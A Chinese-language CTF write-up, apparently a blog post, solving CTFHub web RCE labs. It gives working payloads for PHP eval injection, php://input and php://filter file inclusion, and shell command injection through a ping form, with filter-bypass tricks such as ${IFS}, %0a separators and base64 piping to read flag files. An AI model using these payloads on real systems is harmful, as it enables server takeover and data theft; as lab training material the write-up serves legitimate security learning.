CTFHUB-WEB-RCE
RCE (下面大量试题需要用到火狐的渗透版,提前下载好漏洞上传插件hackbar)
RCE英文全称:remote command/code execute(远程命令/代码执行漏洞)
分为远程命令执行ping和远程代码执行evel。
漏洞出现的原因:没有在输入口做输入处理。
我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。相当于直接操控服务器电脑的cmd命令行!高危漏洞!
eval执行
PHP代码显示,要求将命令赋值给cmd然后执行,
1. 先查看一下根目录文件 url后缀添加 /?cmd=system("ls");
!切记最后的分号不可省略!
2. 没有有用的文件。查看上一级的文件夹/?cmd=system("ls /");
3. 打开flag文件发现FLAG, /?cmd=system("cat flag_9759");
文件包含
strpos()的漏洞
strpos函数的定义:
strpos — 查找字符串首次出现的位置
作用:主要是用来查找字符在字符串中首次出现的位置。
结构:int strpos ( string $haystack , mixed $needle [, int $offset = 0 ] )
1.先看靶机环境,点击shell会出现页面,然后使用火狐的hackbar来进行postdata的注入
2.上个目录没有得到想要的,查看上个目录。 ctfhub=system(“ls /”)
3.查看flag ctfhub=system("cat flag")
php://input
这里先了解一下php://input
php://用来访问各个输入/输出流
php://input是个可以访问请求的原始数据的只读流,可以接收post请求作为输入流的输入,将请求作为PHP代码输入,以达到以post的形式进行输入的目的
1.开始做题,先看一眼靶机环境 点击phpinfo 查看phpinfo,发现以下字段,证明是可以使用php://input的。
2.使用burp suite抓包,发送到repeater中,构造包
将方法修改为POST
目标换成:/?file=php://input
body:<?php system('ls /');?>
查看上一级文件目录,发现flag文件
3.打开flag文件,获得falg (命令和上面的一样)
读取源代码
1. 使用php://input,发现不管用
远程包含
1. 抓包。使用php代码 <?php system("ls");?>
2.找到flag的文件夹打开 <?php system("cat /flag");?>
3.找到flag
php://filter
2. 使用filter将源码通过base64回显。
Payload:http://URL/?file=php://filter/read=convert.base64-encode/resource=../../../flag
3. 使用burp suite解码,得到flag
4. 不推荐使用此方法,比较麻烦
方法二:
1. 题目界面就是源代码。代码审计👇
if ( substr($_GET["file"], 0, 6) === "php://" ) #file里面第0个到第6个字符必须等于 php:// 。
2. 题目要求必须使用php://。而且flag就在/flag里。
这里引入另一个php伪协议。php://filter。上面图片附上了使用方法
3. 直接开始php://filter/resource=/flag 因为我们要找flag关键数据流源所以=/flag
4. 直接在url后面拼接/?file=php://filter/resource=/flag
5. 直接找出了flag
命令注入
题目:
这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag。
linux中命令的链接符号
1.每个命令之间用;隔开
说明:各命令的执行给果,不会影响其它命令的执行。换句话说,各个命令都会执行,但不保证每个命令都执行成功。
2.每个命令之间用&&隔开
说明:若前面的命令执行成功,才会去执行后面的命令。这样可以保证所有的命令执行完毕后,执行过程都是成功的。
3.每个命令之间用||隔开
说明:||是或的意思,只有前面的命令执行失败后才去执行下一条命令,直到执行成功一条命令为止。
4. | 是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
5. & 是后台任务符号。 后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。
1. 有个输入框,是通过输入框进行注入的 随意输个ip试一试
2. 使用&连接符,连接别的命令试一下,发现也执行了后面的命令,且文件夹下有个php文件
3. 试着打开(12.0.0.1 & cat 2189789.php )php文件,发现打不开。
4. 应该是文件中包含特殊字符,使用管道运行base64加密内容,使用命令(ip & cat 2189789.php | base64)
5. 输出了flag的base64加密密文,进行解码,得到flag
过滤cat
靶机环境👇
使用&拼接命令,ls 发现了flag文件,根据代码内容提示,过滤了cat,不能使用cat命令了
linux查看文本的命令
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
使用more输出base64密文
12.0.0.1 & more flag_1482210209678.php | base64
过滤空格
1. 根据提示,过滤了空格,使用<
代替空格(这一步也可以用/**/
代替空格,但是下一步就不管用了,不知道为啥)
查看文件 命令: ip/**/&/**/ls
2. 得到flag的base64密文
ip|cat<flag_2479931403457425.php|base64
3. 解得flag
过滤目录分隔符
靶机环境
1. ls查看文件夹,发现了flag的子文件夹 12.0.0.1;ls
2. 根据提示,不能用/
了 12.0.0.1;cd flag_is_here;ls
3. 查看存放flag的文件 12.0.0.1;cd flag_is_here;cat flag_173323177320747.php|base64
4. 最终解码,得到flag
过滤运算符
1. 查看文件 ip;ls
2. 过滤了管道符|,不能再使用了
base64 1.php".这个与 ****|base64是等价的
ip ; base64 flag_27475302269053.php
3. 解得flag
综合过滤练习
1. 审计代码,过滤了| & ; cat flag ctfhub 空格
空格可以用${IFS}
cat可以用more
flag可以用正则f***
ctfhub应该用不到
查了一下,在linux下,命令分隔符除了;还有%0a
有了;就可以不用运算符了
2. 因为%0a是url编码,所以一定要输在url中,否则%0a会被再次编码
查看目录
?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als
3. 读取文件的base64
ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_16941904629849.php
4. 解得 flag
| & ; cat flag ctfhub 空格
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具